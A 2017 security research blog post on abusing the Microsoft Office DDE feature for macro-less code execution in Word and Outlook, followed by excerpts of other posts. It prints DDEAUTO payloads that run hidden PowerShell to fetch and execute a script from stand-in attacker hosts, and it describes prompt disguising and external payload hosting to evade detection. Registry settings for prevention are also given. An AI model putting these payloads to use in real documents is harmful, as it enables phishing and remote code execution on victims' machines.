Abusing Microsoft Office DDE

Written on:October 23, 2017
Comments are closed

Introduction

Earlier this month I came across a post by the team at SensePost outlining their macro-less code execution technique using the antiquated DDE feature of Microsoft Word. As you may be aware, this feature has existed in Office for many years and was even written about over 15 years ago as a potential threat vector. Old or not, as we continue to put up obstacles in front of malicious actors in the form of disabling macros and other code execution restrictions, attacks are going to adapt and use whatever works, regardless of age so I saw this as viable vector worth exploring further.

I’m always interested in testing these type of techniques so I can better understand how to protect an Enterprise from such attacks and while I have posted some findings sporadically to Twitter, I wanted to better centralize my results. What follows is a synopsis of my test notes.

Testing in Word

The team at SensePost did a good job of outlining the technique in Word and I won’t rehash their notes so if you’re not familiar, I encourage you to check out the link in the Introduction.

Modifying the user warning

If you are familiar, you’ll know that simply opening a Word document with a DDEAUTO field is enough to execute it, though the user will be presented with several prompts, the first two of which are required to be answered “Yes” in order for successful execution.

The first prompt is generic and simply reads as follows:

The second prompt actually incorporates portions of the DDEAUTO command and therefore could make a more discerning user a bit suspicious, depending on what is being executed (in the below case, just Calc.exe).

 

One of the things that piqued my interest in the SensePost article was the following statement:

The second prompt asks the user whether or not they want to execute the specified application, now this can be considered as a security warning since it asks the user to execute “cmd.exe”, however with proper syntax modification it can be hidden

I began modifying the syntax and, using their example of executing a remote Powershell script, went from this…

{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}

… to this …

{ DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://[evil_ip]/shell.txt');powershell $e # " "for security reasons"}

 

Aside from opting to call Powershell directly, the key difference here is the directory manipulation and message verbiage added as the second parameter of the DDEAUTO command, which results in a potentially more convincing prompt:

 

It wasn’t long before this technique was being observed in the wild:

Finding vulnerable file types

If you’re responsible for the security of an organization/enterprise you know that file types can make all the difference when when determining whether your detection and prevention solutions are adequate. For example, maybe you sandbox email attachments and that technology may do a good job scanning .doc or docx., but what about Word XML? Turns out, as long as Word is set as the default parser, the following file types can all be used as a vector: doc(x/m), dot(x/m), rtf, and Word xml. I’ll post the prevention steps at the end of this article, but note that if for whatever reason you cannot apply those registry settings (or you don’t manage all of the workstations in your environment) you should consider how else you might detect/prevent DDE should it come in via any of the above file types. Also note that Word files can be embedded in other office documents (Publisher, PowerPoint, etc.) so it’s not always as straightforward as identifying these particular file types in email attachments.

Testing in Outlook

While Word was presented as the threat vector by Sensepost, I was also curious about Outlook file types as these could be much harder to detect. Since Outlook uses Word as its native parser, I found that attaching a draft message (.msg) or tempate (.oft) file would also execute the DDE should a user open that attachment:

While certainly important to know (are you scanning all .msg attachments as they come into your environment?), I was more interested in determining whether I could execute DDE directly in an email rather than embedding in an attachment. I tested across multiple versions of Outlook (2007, 2013, 2016) but wasn’t able to get anything consistently working. Then I saw this tweet:

At first I couldn’t replicate this in any Outlook version and I kept thinking about what could be different. Visually, the only thing I could see was the profile picture, and while that may not have been the trigger it did get me thinking about embedding other content to see if that would influence the DDE execution (up to now I had been testing the DDEAUTO field on its own).

Sure enough, I found that by adding a picture, a chart, or another object, I could consistently trigger DDE on message reply in all versions of Outlook.

 

Note that the DDEATUO command itself is in the body of the message, not the inserted object. What I did for the above message was to add the DDEAUTO command in white text (directly above the signature block) and inserted the “Reply to this message…” line as an embedded WordPad document (Insert->Object->WordPad document) which automatically triggers the DDE upon hitting “Reply” or “Reply All”.

Btw, if you’re testing this yourself, be sure that you always format the original email in RTF. Also, I found that certain mail services (e.g. Hotmail) may automatically convert messages to HTML so that the DDE is stripped before it makes it to the recipient. I was able to consistently get DDE working by sending from an Gmail account (using an Outlook client) to another email service (e.g. MS Exchange).

The same worked for Outlook Tasks as well. Worse still, meeting requests automatically execute DDE upon open (no Reply needed) and do so again if the recipient tries to cancel the meeting.

UPDATE (11/7):

I recently read another great write-up by Etienne Stalmans about DDE obfuscation which talks about additional ways to hide the DDE payload using techniques such as SET/QUOTE field codes and, more interestingly, using framesets to host the the DDE content in another document altogether (in an effort to defeat YARA and similar rule detection). The latter got me thinking about the use of the INCLUDE field code and sure enough, I found I was able to host the DDE payload in another publicly accessible Word document, separate from the Word doc distributed via email.

First, host the document containing the chosen DDEAUTO command at an externally-accessible location…I chose Dropbox for testing purposes. Then, within the the Word document you plan to test for detection (e.g. the one that would be sent to an end user), simply insert the INCLUDE field code along with the URL of the hosted DDE document. For some additional basic obfuscation, I placed the location of the externally-hosted DDE document in the comments property field and referenced it with the DOCPROPERTY field code.

{INCLUDE { DOCPROPERTY "Comments" }}

The comments field just looks like this:

Once you make this a dirty link (see below as well as the above-referenced write-up), it should automatically prompt each time the user opens.

<w:fldChar w:fldCharType="begin" w:dirty="true"/>

 

Prevention

So how do you prevent this vector? For machines under your management control, DDE execution can be disabled via registry key though keep in mind there are separate keys for Word and Outlook.

Someone has already set up a Github page with these registry keys so I won’t re-list them here.

However, note that at the time of this writing, the above page did not include Outlook or Word 2007 which are as follows:

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Outlook\Options\vpref]

“fNoCalclinksOnopen_90_1” = dword:00000001

… and …

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Options\vpref]

“fNoCalclinksOnopen_90_1” = dword:00000001

Conclusion

Though an old feature, since this technique was recently re-introduced, DDE has become a go-to attack vector.

While some endpoint products may detect files with embedded DDE (or more likely, the eventual execution of Powershell from Word/Outlook) and your network-based detections could also pick up on some of this, between prompt manipulation and multiple file types (including native Outlook email messages), the best way to prevent this DDE attack vector is to disable it altogether via the above Registry changes. Also keep in mind there are similar code execution issues with Excel, also covered by SensePost. 

A quick Twitter search will show that there are plenty of other people testing this (some of which have uncovered the exact same results and possibly more) so if I come across anything of note, I’ll update this post further.

Until next time,

Mike

 

 

 

 

 

 

Testing Optionsbleed

Written on:September 23, 2017
Comments
are closed

Introduction I took a few minutes to test the Optionsbleed vuln (CVE-2017-9798), specifically to see whether modifying the length and/or quantity of Options/Methods in the .htaccess file would enable me to extract anything of substance from memory. Ultimately it seems that by modifying the length of the entries in the .htaccess file, I was able to gain access to hundreds of bytes of POST data of a different virtual host. Note: Since originally…

Read more...

ASK/L(OOK)/Listen! – Basic Signal Decoding and Replay

Written on:September 1, 2017
Comments
are closed
inspectrum_3

Introduction It’s been quite a while since my last post and I figured it was time to start contributing again so I’m kicking it off with a quick-and-dirty method to decode and replay ASK On-off keying (OOK) signals. A couple of notes before I delve in… First, this is not intended to be an intro to SDR/RF hacking. If you’re new to the subject, I highly recommend you go through Michael Ossmann’s free video…

Read more...

Phishing with Macros and Powershell

Written on:May 22, 2015
Comments
are closed
macro2

Over the past 6 months, it seems we’ve been experiencing a resurgence of macro-based malware, possibly because it’s such a simple and proven means of delivering a phishing payload to large organizations. If you’re performing a penetration test against an organization and you have reason to believe untrusted macro execution is enabled, they can also be a good means to test user awareness and gain a foothold via social engineering. Regardless of their popularity,…

Read more...

Offensive Security’s CTP and OSCE – My Experience

Written on:May 13, 2015
Comments
are closed
osce_2

Overview I had been wanting to take the Cracking The Perimeter (CTP) course for some time but my schedule was pretty hectic. I finally forced myself to start it at the beginning of the new year and I’m really glad I did. As promised, here is my review… Prerequisites Offsec states the following: Many pre-requisites are required, such as good familiarity with a Ollydbg, and a general mastery of offensive network security techniques. Definitely sound advice….

Read more...

An Analysis Of MS15-034

Written on:April 18, 2015
Comments
are closed
ms15_034_10

Introduction By now you’ve undoubtedly heard about MS15-034. The following is a collection of my cursory research and thoughts on this vulnerability. In addition, here is a small list of related resources, some of which I also reference in the sections that follow: Microsoft Security Bulletin MS15-034 (Microsoft) The Delicate Art of Remote Checks – A Glance Into MS15-034 (Beyond Trust) MS15-034: HTTP.sys (IIS) DoS And Possible Remote Code Execution. PATCH…

Read more...

peCloak.py – An Experiment in AV Evasion

Written on:March 9, 2015
Comments
are closed
pecloak25

Introduction I just wrapped up the Offensive Security Cracking The Perimeter (CTP) course and one of the topics was AV evasion. Although I write a lot of custom scripts and tools, when it comes to AV evasion, I typically rely on the tools and methods of others (Veil, powershell, python, custom shellcode). That said, the great thing about courses like CTP is they give me an excuse to investigate a topic that I haven’t…

Read more...

EggSandwich – An Egghunter with Integrity

Written on:February 12, 2015
Comments
are closed
eggsandwich6

Introduction A while back I introduced the EggSandwich in my tutorial on Egghunting as a means to implement some basic integrity checks into the traditional Egghunter and overcome the problem of fragmented / corrupted shellcode. I recently took the opportunity to update my implementation so it could accomodate shellcode of any size. The code and a brief explanation follows. What is the EggSandwich? I ran into a situation when developing an exploit for an…

Read more...

Developing a Security Assessment Program

Written on:December 19, 2014
Comments
are closed
appsec_process_04

Introduction Most organizations and are deploying new applications and technologies at a high rate and without a means to adequately assess them prior to implementation, it’s difficult to accurately gauge your organization’s risk. No matter what the size or industry, it’s imperative that an organization has a standardized and repeatable process for assessing the security of the IT solutions it implements.  My goal with today’s post is to provide some recommendations on…

Read more...

Exploiting MS14-066 / CVE-2014-6321 (aka “Winshock”)

Written on:November 29, 2014
Comments
are closed
ms14066_36

Introduction I think enough time has passed now to provide a little more detail on how to exploit MS14-066 schannel vulnerability (aka “Winshock”). In this post I won’t be providing a complete PoC exploit, but I will delve into the details on exactly how to trigger the heap overflow along with some example modifications to OpenSSL so you can replicate the issue yourself. This vulnerability was announced while I was on…

Read more...